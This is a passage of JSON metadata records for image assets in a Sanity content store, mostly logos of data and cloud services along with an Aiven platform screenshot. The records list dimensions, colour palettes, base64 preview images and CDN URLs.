{"_createdAt":"2023-05-26T12:09:13Z","_id":"image-b96f58003f876da1805f25db0645dc26819ce738-50x50-svg","_rev":"3YxqQWUIXkU9Q9rCEhUHbP","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:09:13Z","assetId":"b96f58003f876da1805f25db0645dc26819ce738","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":50,"width":50},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADOUlEQVQ4jaWVSUiVURTH/698GiY5JOhCjCRxTEUJaiOZm4RSxAlJxWGjoULIo5CEokIhFKJF93MkccixIipzeEmTNoA9aJNu3dumQtB74tzvfKYmuGhx3v3e/e793TP87/kAKNj2gEcXoMIAlQWoW4DyAmoVUL/FVmXuNqDOAeooYLmAbgCWcMzPPZ5wAyoOUHWAmgDUMqDWALUOqE2xdZnjd5OAuix73MCAQI1nBpYmJ/sA6ydg0V9T2563jNf4AHVH9voDvQxkl80pDFsB1IYNUHofI1m7ItA4m2XnjF3n0zYAS7vdXTooqFcHBvbQwYOdArC0n18nvyMZtctlaYH6hBEGKcCkHYKiwMAenZExofPzX1Fm5lMdHv7QhBwQ0EWxscN08uSYTkgYoeTkUR0S0ieemr2c9yxIqMuSKx0Z2a9rauapvd2na2vf0IkTwwYYHNxHublTVF7upaKiGV1W5qWYmCHHe5JC3YLI4IcDjIjop8rK1/r+/W9048YXOnVqklwui0JD+4ghzc2fyONZpKamBR0fPyK5Nnu5+l6IttYdYHj4Q52XN2Vg169/2gJyPi9ceGnmW1uXqL7+HR0/vsNDltQqRLCbDvDw4R6dnj5BBQXTlJPzgjfRoUPdxMWIiRkizm1p6SydPv2Yjhzp3Q5knf76B8iLzpx5QiUls1RcPGPylp39zMC4KBcvTlFh4TSlpIzxQXov4I6Qjx0b1HV1b6mtbYk6Onx09+5XE+alS3PGrlz5QB7PAlVUeCkqamDPkL2AteYA4+IemYS3tHymmze/EI8tLXYhrl5dpMbG99TQ8M6sSUwc3V2UOUgT2JINJ5qlUVHh1VVVr41MqqvnufJmbGpaoGvXPuqqqnmKjh7c7uF3RzYs7AlH2CxWFi/nKDV1nJ8pLW2cWMxs588/NypIShrVkkPaLeww6TDm6h04YF89Ma6u9vfvMteOryHLJyiox/zn6wj7uvqEYa7efzQHi2ErgHUbsJzm0MlQbl+pNpRP292+9jQOkz3jPWl2CzT90OnYZoI9rQXUuCR5vwbLYbJnbrtrb3VsJhtzPgFnd30Cfonx85y8408Ar3VJlMb+AGJUdmwqsgCFAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34345c","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#040494","foreground":"#fff","population":12.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040494","foreground":"#fff","population":12.48,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbccc","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a84ea","foreground":"#fff","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c5fa2","foreground":"#fff","population":1.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0504a7","foreground":"#fff","population":12.4,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-sumologic.svg","path":"images/sczeoy4w/production/b96f58003f876da1805f25db0645dc26819ce738-50x50.svg","sha1hash":"b96f58003f876da1805f25db0645dc26819ce738","size":1693,"uploadId":"xyQp58DF8LoeUAxEqbqGVQaENEwAn9uW","url":"https://cdn.sanity.io/images/sczeoy4w/production/b96f58003f876da1805f25db0645dc26819ce738-50x50.svg"} {"_createdAt":"2023-05-26T12:15:10Z","_id":"image-e86aba4e4a06bd3f873f7593c29f351d7a4cbc12-51x50-svg","_rev":"3YxqQWUIXkU9Q9rCEhXAwN","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:15:10Z","assetId":"e86aba4e4a06bd3f873f7593c29f351d7a4cbc12","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e8C]~_~FsrtKoG~FstoGbJWHn:s~kDjqf#tLoIj=a#a$a#W?bIazkB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.02,"height":50,"width":51},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#234f46","foreground":"#fff","population":0.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c5c74","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4cbfd8","foreground":"#000","population":6.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#86c38d","foreground":"#000","population":6.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6fdc97","foreground":"#000","population":0.63,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e9e82","foreground":"#fff","population":1.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4cbfd8","foreground":"#000","population":6.08,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-debezium.svg","path":"images/sczeoy4w/production/e86aba4e4a06bd3f873f7593c29f351d7a4cbc12-51x50.svg","sha1hash":"e86aba4e4a06bd3f873f7593c29f351d7a4cbc12","size":2442,"uploadId":"W8MCdazg4eJNxKfsHcjboZqoltDMkFgX","url":"https://cdn.sanity.io/images/sczeoy4w/production/e86aba4e4a06bd3f873f7593c29f351d7a4cbc12-51x50.svg"} {"_createdAt":"2023-05-26T12:17:00Z","_id":"image-4ca70df6dadd77681d7a1e0546465c3df5f985a9-51x50-svg","_rev":"3YxqQWUIXkU9Q9rCEhZ6mM","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:17:00Z","assetId":"4ca70df6dadd77681d7a1e0546465c3df5f985a9","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"e7CHaD%j00bHrTWCj?RjWC-p00V=}}ROnK%Maxs-of4:MaRkRMt7oc","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.02,"height":50,"width":51},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFK0lEQVQ4jXWVe0xTdxTHf8RkJvPf+Y9zfyz615ItcZk8SkFwYEtfFBDnY4s6FZPRd4G297YFn1OHj02UMdTM9+ybltL29t7eIgURhkYeEaJxRF2YYypTzDTOc5Zb2BbJ9sf595PzO+f7+xyitCeIkuKI0s4SubWDyGzM/BJrbKnUGt0gsURai+s6Botqw7+vrGl/WmgOjRWYgufzjYGqPIP/fbHBt0Bk8BGRzkNytB7y3nYXIUqKJYhI5FQ8Q07FF8psjKzExhySWmMpiSV6r7iuY/rjmvDLlTXtfxaaQ88KTMGJfGOgP8/g/y5X71sj0nkX5+g88z6sOkFydB5CFDaWKO1choJmFyko9nM5Fe+Q2ZgHUmvspcQSRYklglJrBIvrwlhoDuEKUxDzjYFXeQb/41y977JI5zXk6DxLsrXueWKDl5DyOoao7Im3lDS3WUGznXIq/kxGMSi1xlBGxWDTgU6wnegDzdFuUNARKDAFId8YgDyDH3P1vucinfdajtZjzNa638nUuQhR2/k3Su0JicrOtStpdlpOxbHExoDEEoWKBg6OeIehf2wS2rrHYevBTig0ByHPEACx3g+5eh+KdJ4X2VpPV5bGvTZT41pA1A7+3VJH4oDKnphQ0hyWOjgor+dAQTNYuZODltBNGP/lKaaGJvCLr7tgZU0QimpDWFwXghVGP4h0XszWeqayNO6TmRrXMgFYXurgeZU98bLMmUBdUy/suziIuqYroHbGwfztVWzvvYunmTFcu5tFqTWM+mMpqD/dh+v2MCDWeyFb636VpXFfz9S4tETtSO5TO/g7QneVO5Lw1aUhYH68DwfdQ6h2xvHTvTw2BUaw0X0DKxoYLKuP4fHgMIaujIOpOQX5Rh9kadyYpXE/yKx2XSRqZzKgdvAPVfYEltcnwNzcB0e8I2Bqvorl9Swaj/eiP/UTBnvGsbblCpY3xLCmpQe/vHgNPtvHgtiQ7lAATmdWu66TMmcypXbwTwSgkuZA7eRg9Y4EKu1xXLs7ga3hUbw/OY2TU3/gD/xtXLeHxaK6EEqsQoQCwgxnga4Xy6sv3X0daOegzMnB+j1J3NLYhabmXjzH3sJ7v07jwyfPMT5wDy2tvVjREMMSWzsWmF8DPk8DZ5/8mwD8ZFcS7KeuwRnmNriSd/CwZwjrTw/gychYuruTkZv4fWwMzzBjeNQ/CNsPJ6HA7P97htPLhSernXx6KQJwa2M3eC+Pw/3JZ9A/OpmGVTSwWLmTTW9484EkNgWGcWT8Ed7+eQqaAoMgo0JzluLgy9Wzsdm4P4WnIregb3QSz8Zvwcb9naC0M7hmp5DPGK6yhLHqUCf6uu5AangC914YgFWWoACciU21S0NK08Hm9wvBLqtP4PZDPWBp7YdtB1NY6ohD9Tfd0NJ+E3edHUCVIwoSaxi2NPKoPdoFFTuikGfwYbbW/Tgd7GrXMlL679cLKWh2WkGzqKTjUGKLgZyKgaW1D9p6xuFY2whUNDCwwtQGBeY2EDYsNvgwZ+7XKzPxM3Kwc5v+kYNtRg5SaxQ27OWhpqUXqg5fBqm1Iw0U5CCeKweNe3Gmxk2Igo4TlYPNUNDcIgXNbpZT8fBcfQn1H/p6lKv3dab1pfUsyda45+UafQKQI6tLLhAZzWXIKXahjIrPFezT/xOsWO+rFOm8bwuC/Wjj+RnBqmiWKGmWKGiWSGujpMTGzJdaY0sl1uiGVekTELlRVBuemj0BowWmNuEEbEufAL3/TbGhLa1/oT5Y7yd/AZCAqXl7quOTAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304d6d","foreground":"#fff","population":1.8,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142f58","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3f71af","foreground":"#fff","population":11.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#879ebf","foreground":"#000","population":2.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cc1f4","foreground":"#000","population":0.12,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f7eb0","foreground":"#fff","population":4.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f71af","foreground":"#fff","population":11.69,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-gc-pub-sub.svg","path":"images/sczeoy4w/production/4ca70df6dadd77681d7a1e0546465c3df5f985a9-51x50.svg","sha1hash":"4ca70df6dadd77681d7a1e0546465c3df5f985a9","size":1725,"uploadId":"UwJIXoq3k2mi9Gt0NBygS0NvhRio9HUL","url":"https://cdn.sanity.io/images/sczeoy4w/production/4ca70df6dadd77681d7a1e0546465c3df5f985a9-51x50.svg"} {"_createdAt":"2023-05-26T12:22:48Z","_id":"image-f4ae184375a384c52f0cea69f855008a8a42e389-50x45-svg","_rev":"PafZ7If3abxFAfZNONDUVF","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:22:48Z","assetId":"f4ae184375a384c52f0cea69f855008a8a42e389","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEALrao$00V?,6p3adabkDjW00ax^CobDiWAj^oHfOWA?Sj@9dWY%N","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1111111111111112,"height":45,"width":50},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAD8klEQVQ4jYWPTWwVVRTHLwmJJN3AjrDTsHUlG1admXtvQwm4ZKHdmBhj3IEB05kWeHM/Wl7ZsRCJthCMH2mCJG3E2CAaYyOoGCC0QNvXFlraN+/7vfl48157jpk3RSsxcfGbk5zz//9yh1hDbUJ1m1hqg1i6vdfS7ZOWbj+2hjY2rKEN+E/0xgbV7cc0ze6lejN16BYhVLc6WDp+xdItbun2BNVtn+o2/A9JZiLp0LSbCpMPFz6hKn6V6niI6tZzqltIdQu2wJfYvn9OdTxMdfwaU8HWC1WTMNXsoqp5jKp4muq4RXWMTMfA/pnb6exoSovqeDrtNrus4Sj55cYOqqLXqYo+oapZYrqJVDUhwUrBl+jcErayJaqiS6mjsYNQFeymKnyfqvABU9EmVREwHUHPUIS95yI4nI1wO8kuuSWZTlYlnfBB6gh2J0KLqmCcqtBnKkSqQjg0HMK7lyIQ38R4fjLGkckYsxMx6usxOl9H+M7FJBMAVQGkncBPHYFFqPQ/psrPsc4xAEsGcHQkQHEtglsPW/jnYsrvCy38aSbG8ekQnS/rcORcDS3R6HRS/FziIkw2njDZCJlsIFMNoLKBR7I+9H8R4Ph0gN/d9fHGXR+//cPHa7828NOpKh4fLWCvzIOZKSOTdeh0U8cTwmT9HlP1BlN15KoOVNbhaLYBA18FeP1OiD/cD/Dm/QCn7gU48ZuPYzdr+OGYh73uKhiDa0DdEjBZS8SNxEWYqkkmazNM1ja5qiVHeDNbxzPjPty4G+L0bIi/zIb480z62qu3qnjqige97jPsdp6Cefo50Exxk8lq4pCEydoBJqufMVmtcFlFJqtwSFeh70IVToyV8aMrHp66nMeTl9fxxOg6fnBxDY9lV4AOLkO3swTGwDKag6sVetYbZaJ6gDBR7WKi8haTldtMVtpMVpDLCvBkugVgZ1bRGlxGa2DpBWA6i2g4i9CdzrbhLN02B569TTPFLsLdOmGivJ+J8ggT5TUuyshEGVJKQDMemKdXMCl32zl4gZHg5NCwc+uGs3jecBb3WwMeIbTfI0yUdnFR6uWi9D0XpSYXJeByC1EElsmDdfoZmE4iWUixOzQNZ2HKcHKHDWdp1xvv/UhIjyiRQ8N5wkVxHxfFfi6KOS6K+G8KyDLraA0+RdNZQMOef8GiYc/bhrOwjx6/Qwx7niQiwjPFZO7kbuEgF4WrXBTyXBTCHlEI/56uF7Kza6E1uBya9nxo2nN5w5773LTnD5pObqdp57aEGY9wUSA9wiPc9fZw1+vjrjfJXW+Gu97sFo96XO8Rd/Oz7MzKrDWQmzHtuUnTnusz7bk9Rv9DYvQ/JpaTI38Bs+SRco4c8TcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34485c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#083686","foreground":"#fff","population":0.18,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4283fc","foreground":"#fff","population":11.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#083590","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c83f4","foreground":"#fff","population":6.89,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#023696","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4283fc","foreground":"#fff","population":11.47,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-google-storage.svg","path":"images/sczeoy4w/production/f4ae184375a384c52f0cea69f855008a8a42e389-50x45.svg","sha1hash":"f4ae184375a384c52f0cea69f855008a8a42e389","size":1836,"uploadId":"KHz1exxkEGYVrVAjftDOhq5qYCmdSdPB","url":"https://cdn.sanity.io/images/sczeoy4w/production/f4ae184375a384c52f0cea69f855008a8a42e389-50x45.svg"} {"_createdAt":"2023-05-19T13:10:38Z","_id":"image-8d50821ea82055d459e1478fe3a051468618e776-2528x1712-png","_rev":"Sutmd0597BicUlBXY6IAPK","_type":"sanity.imageAsset","_updatedAt":"2023-05-19T13:10:38Z","assetId":"8d50821ea82055d459e1478fe3a051468618e776","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V2SPX{?cRj-:JB_3WCIAMxRk9axa-pb_j?~XD%R*tRxt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4766355140186915,"height":1712,"width":2528},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAACC0lEQVQ4jUVTWW7lIBD0/U86k+cF6BWMqVG3J8kHEtByUZu3Wnntx7U+nxOltEWN0QrBzNH7QGMFscK9w7yjxpw4z6qe39RGcV7uY22t8TqOax3HCSJeUhh1LxAWmA98iuBz1phBVHHWgrNcYGaoGmptq5QKVV3ex9qIBOdVUEpZpgZng1RC7APwuARfe0FrBFHBWU+c1wliThXMErOlqqloI5ZVal1EhN77useNewzMOXHfEyKO1oKNwtzQuKC2AhFNQCJetbU4v5KDYb4ugjHuXPFSgM35oI8J7wNjxHK4MVRedrEaUcjOB8LXLQwOwGAQH8XlO/QEs7Gg44H1ju6CoQTnBjN7g7IXOEik5Fo5XwjTv4cZiDm83xCfkD5hHuwELg3GFaYvI/f+o6j3G9u+n/jsR8SfqTEbSg0LDGodop516T3YGJgIygwXhYqmOuJfu7Y/fz/Y9yNlxkV067paBhH9+/amj/EdAizu1HJWW8uk7zsAJ7avo6yrthUMnudZZh3lariOC1QqLEt9Z4XELKX2kO8jFTAL3DxbkYBNHOod95zreR507+DKoNIgtUFjT4ZChkqRsMDEQNLB+hvgD6D3e83nWWutZDjCaJL0JzwVVtQquKqgMoNEQPwCisbvF2l7EHo9jDLO+SS7OecL+L+01qNGI8vNYpAITRSUgY3sZ1gVdftO+R+zLu/5A34neQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273832","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18162e","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#98bae2","foreground":"#000","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4c9a4","foreground":"#000","population":0.06,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98bae2","foreground":"#000","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5976a8","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc4c20","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-platform.png","path":"images/sczeoy4w/production/8d50821ea82055d459e1478fe3a051468618e776-2528x1712.png","sha1hash":"8d50821ea82055d459e1478fe3a051468618e776","size":322484,"uploadId":"efzsYqrMVbaXc3noJiq6yhDvHcMUCxzp","url":"https://cdn.sanity.io/images/sczeoy4w/production/8d50821ea82055d459e1478fe3a051468618e776-2528x1712.png"} {"_createdAt":"2023-08-15T12:58:27Z","_id":"image-df34debae25f86ef8745773b2fa6a53aacb597c2-366x368-png","_rev":"XPsPxQ3o95dhiSIpxGS05Y","_type":"sanity.imageAsset","_updatedAt":"2023-08-15T12:58:27Z","assetId":"df34debae25f86ef8745773b2fa6a53aacb597c2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCSwKA$k00$655#:fQenf6gN00jF4Ra|7{xHjtcEf*Zi8bj[5QbHD%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9945652173913043,"height":368,"width":366},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADeUlEQVQ4jZWUy2+WRRTGP4n+A8a4cGGMbF3YOeKlYhUvaDQuiCbEYLzPodALFWpjRSuKBEuiIJWoqIhaquFmRKK1VmyLUlsIWC0VqFpb7260otBiOT9z3vm+ttSFcfFk5n1z5pnnmXPJIZpD9AxEpyN6J6KvEGI3ot8hOozoCQvxJKKOUUR/Q3TAQtxNiA0W4hxEzyHEac6VI0QnuxDRZYh+jOiPFuLR/OExRM1haXXSvxEdIcRhQhy0EJsRrSTE6U6asxDPR/RRRA/ng8kQYlr/GyOI7kV0ASGe5XbvwOUXyELMFE2GTVnHkWKd9Bii2xGd5Qo3IPrDFLK0dxTFpNaR9hMxk0hNtA/RWlfYhehRP5BXkA7NmA8llXDTg3BrHdxSBzfUwMwKuGj+qU5C9jy/INrkhEOEODp+o+OKCpj3BKxohKZW2NkJOz6Bjc3wyMuJ/LKyiXjJRPyBaIdneTifzRRwVZWxqAHe2g1ffAN938L+I3CgH74cTOvrLXDvKri8vKDU3f2F6Oc5Ez2RlYPLLi4zytbA+91waAiau2HNVnj8VVj+Gjz3NrT3wKFB2PwR3L7CuLg0s2yixxH9KpevrSR7zsNG4wdJyZu74J76ZN0Jl74Ecx+DirXpooMDsHYbNru6QOjPNpQIXfalC7HF64yuPmj7DBauhusfgNr10NED73VN/HPyfYehdR/ctdI8SZbyMOiWR60onuTKRfD0ZqN3ID2+q1u2Eba2JbJ3P4VNrVDzPJQ+lZJ0oN+oXZ+JIcTjJtrvCn+n6L4xrr4fGrYbnQeNJ5vSwZa9sHMPVD2bVH24H7Z1pO8XdsCeXqxug1FchhVFT0qPEw4S4kiWsfJnjFVvGHfXuxVYvSWVybVL4OZaWLmJ7LLblpMlz2Pd8iUL3LJXS7tb7sxqyIu1pNK4bgnMLLfsgtnVMKsKZpTih7hmcSIvLsvHVlsWm+rwZ0QbvQ5fRPT7fHuZpZZL9VU0vi8gtdrkmJCHaK+FWOOW5xFim8+9U7plylD412CY1CXmRR3iFkRLnPA8Qlyab+4C6f/BMULsRDSa6Jlu+XRCvIAQH0J0V9bbaVJ75WddlD1DUukt6v98XPnk/hrRd7JZ6MJET3OFPsKc9FxE5yK6zkTbET2C6K8Woh8esxCd7E8T/cndWIgtiNYjeiOiZyM6jRBz/wAZnSDCKa/YPwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#703444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d0520","foreground":"#fff","population":0.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3464","foreground":"#fff","population":61.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd9ca4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb8fb8","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b0607c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3464","foreground":"#fff","population":61.57,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-brolly.png","path":"images/sczeoy4w/production/df34debae25f86ef8745773b2fa6a53aacb597c2-366x368.png","sha1hash":"df34debae25f86ef8745773b2fa6a53aacb597c2","size":15353,"uploadId":"JF55GQfGWo79vtb68cTPksM6zdrqckdj","url":"https://cdn.sanity.io/images/sczeoy4w/production/df34debae25f86ef8745773b2fa6a53aacb597c2-366x368.png"} {"_createdAt":"2023-05-26T12:46:22Z","_id":"image-6ea6284e995c0582493b818cbddd45f5b331204c-512x512-png","_rev":"Bg5HPBiLdZofLBzDE7EnNP","_type":"sanity.imageAsset","_updatedAt":"2023-05-26T12:46:46Z","altText":"Azure AD logo","assetId":"6ea6284e995c0582493b818cbddd45f5b331204c","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eGAf%:kX00jZxBMIfQnNaetR00ae+XV@*0%$f6t-ofElVrjZ?coL5[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEEklEQVQ4jWVUXWxURRQ+U7a0FNTa1iCtVAngDw+iESrRNCQmljSiCYkSIggPPhkjGPXB+IMRU01IjD/RmJigqcbEhAckjQaVObvd/tqtbaGAtkJbocFSasKce+/u3e3uGXNmd8tWJpnM3Hvu/eac7zvzARQHEoA2+Sl790xlgLQJkNoA6RVAaszHC9/okrloLAQFkGBJ/lkB0hpAegOQhgBJA9JuQKqBkwZUKSAWphulpxSD+SxvB21eAG0GQJs0aEOgzXHQ9AQgrdgy6C8kAIuyLKIvlOz2t4KmXZJVVYyChh6P67s9Xhajq4DUDpqaFVLFDYBaQBeBucyWK6RW0OZYVYzM1qHAvjsR8psXQn540OeKKE2DNh8rpAcAKbIY1JQCurUCND2qkL4GbWZXdnkOaCKZ4z+DHB8YT3FNnLKgzbhCegc0rQMU4YpCFgBXdfuyRgBpIyB9BEiXQJvcml6PP7yY5ivpnJ0Oc9w2GfLqHo9Bm4xCGgak/YDUAEhqoTtko9wp7rSDoM0YIGWr48RbhwI+NBnaY7MZ/n4mY9+6EPIjgwFXxciCNinQFAek5xRSrSjvACtjrtx60OYlaY8lSJm6Ls+B7T